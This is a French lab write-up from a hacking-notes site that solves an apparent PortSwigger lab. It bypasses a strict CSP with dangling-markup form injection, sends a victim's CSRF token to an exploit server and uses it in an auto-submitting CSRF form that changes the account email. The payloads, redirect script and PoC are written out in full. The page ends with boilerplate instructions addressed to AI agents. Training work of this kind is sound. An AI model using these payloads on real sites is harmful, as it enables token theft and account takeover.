> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# XSS réfléchi protégé par une CSP très stricte, attaque par balisage pendant

### XSS réfléchi protégé par une CSP très stricte, avec attaque par balisage pendante

#### Objectif du labo

* Effectuez une attaque XSS qui contourne la CSP et exfiltre le jeton CSRF d’un utilisateur simulé (via Burp Collaborator).
* Puis utilisez ce jeton pour modifier l'adresse e-mail de la victime en `hacker@evil-user.net`.
* Le vecteur visible par la victime doit contenir le mot **Cliquez** (p. ex. `Cliquez-moi`) pour l’inciter à cliquer.
* Compte de test : `wiener:peter`.

#### Observations initiales

* Dans le formulaire de mise à jour de l’e-mail, en ajoutant `?email=` à l’URL contrôle la valeur (`valeur`) du `email` champ de saisie.

<figure><img src="/files/440e2765035fcc5c86bc5d3de0e7ebfba43c4e16" alt=""><figcaption></figcaption></figure>

Le champ est vulnérable à une injection de balises HTML (exemples de tests) :

* `test"><h1>test</h1>` → `<h1>` est injecté et renvoyé.

```html
test"><h1>test</h1>
```

<figure><img src="/files/00263040d7aa70d82e84782fdf0a5e4c518d05f9" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` apparaît dans le formulaire mais \*\*n’est pas exécuté\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/edcf386b90068bee9f3de1c1e0c8bf0d491258ca" alt="" width="429"><figcaption></figcaption></figure>

La console du navigateur indique un blocage par la politique de sécurité :

{% hint style="danger" %}
Content-Security-Policy: The page's settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: “script-src 'self'”
{% endhint %}

<figure><img src="/files/c051c37b8669c751483c7ff53c0c07109cb72ef4" alt=""><figcaption></figcaption></figure>

En-tête CSP observé :

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/992bb5bc753e62f76d3dfef68c5b242f5beaecd4" alt=""><figcaption></figcaption></figure>

#### Stratégie d’attaque (balisage pendante)

* Au lieu d’injecter un `<script>` (bloqué par la CSP), le formulaire actuel est fermé et un nouveau formulaire\*\* est créé avec l' `paramètre action` attribut pointant vers notre serveur d’exploitation (serveur d’exploitation). Ce formulaire contient un bouton intitulé "Click Me" pour encourager l’utilisateur à cliquer.

Exemple d’une injection qui ferme le formulaire et en crée un nouveau (format encodé en URL dans la redirection) :

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Cliquez-moi</button
```

{% endcode %}

<figure><img src="/files/fd61a351c69087302d78cb0b0dc2c02bb30a0484" alt=""><figcaption></figcaption></figure>

* En ouvrant ce lien depuis la machine de la victime (par exemple via une redirection), si la victime clique sur le bouton, le jeton CSRF est envoyé dans l’URL au serveur d’exploitation et apparaît dans les journaux du serveur opposé.

<figure><img src="/files/a98443b3e1c8cb1e1fa2a9fdffdcf0987b530309" alt=""><figcaption></figcaption></figure>

#### Exemple de redirection injectée (pour forcer l’utilisateur à accéder à la page vulnérable avec la charge utile)

* Script injecté côté attaquant pour rediriger la victime vers la page de la charge utile (URL encodée) :

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3ECliquez-moi%3C/button"
</script>
```

* Une fois la victime redirigée et le bouton cliqué, le jeton CSRF se trouve dans les journaux du serveur d’exploitation.

<figure><img src="/files/8a4f38ec10dcf7ef33bc498bff4d934a99793be5" alt=""><figcaption></figcaption></figure>

#### Opération post-exfiltration : utilisation du jeton CSRF pour modifier l’e-mail

* Après avoir obtenu le jeton CSRF (à partir des journaux du serveur d’exploitation), une page HTML est construite pour envoyer une requête POST à `/my-account/change-email` avec :
* `e-mail = hacker@evil-user.net`
* `CSRF = <token_obtenu>`

<figure><img src="/files/0af5d295d201ed0eea218ef1958074b0fac42de0" alt="" width="563"><figcaption></figcaption></figure>

Exemple de PoC HTML généré (avec Burp ou manuellement) pour effectuer une requête POST automatisée

<figure><img src="/files/cb35d0ce4a64b1f3faba4c192993cbaa413617ae" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Soumettre la requête" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
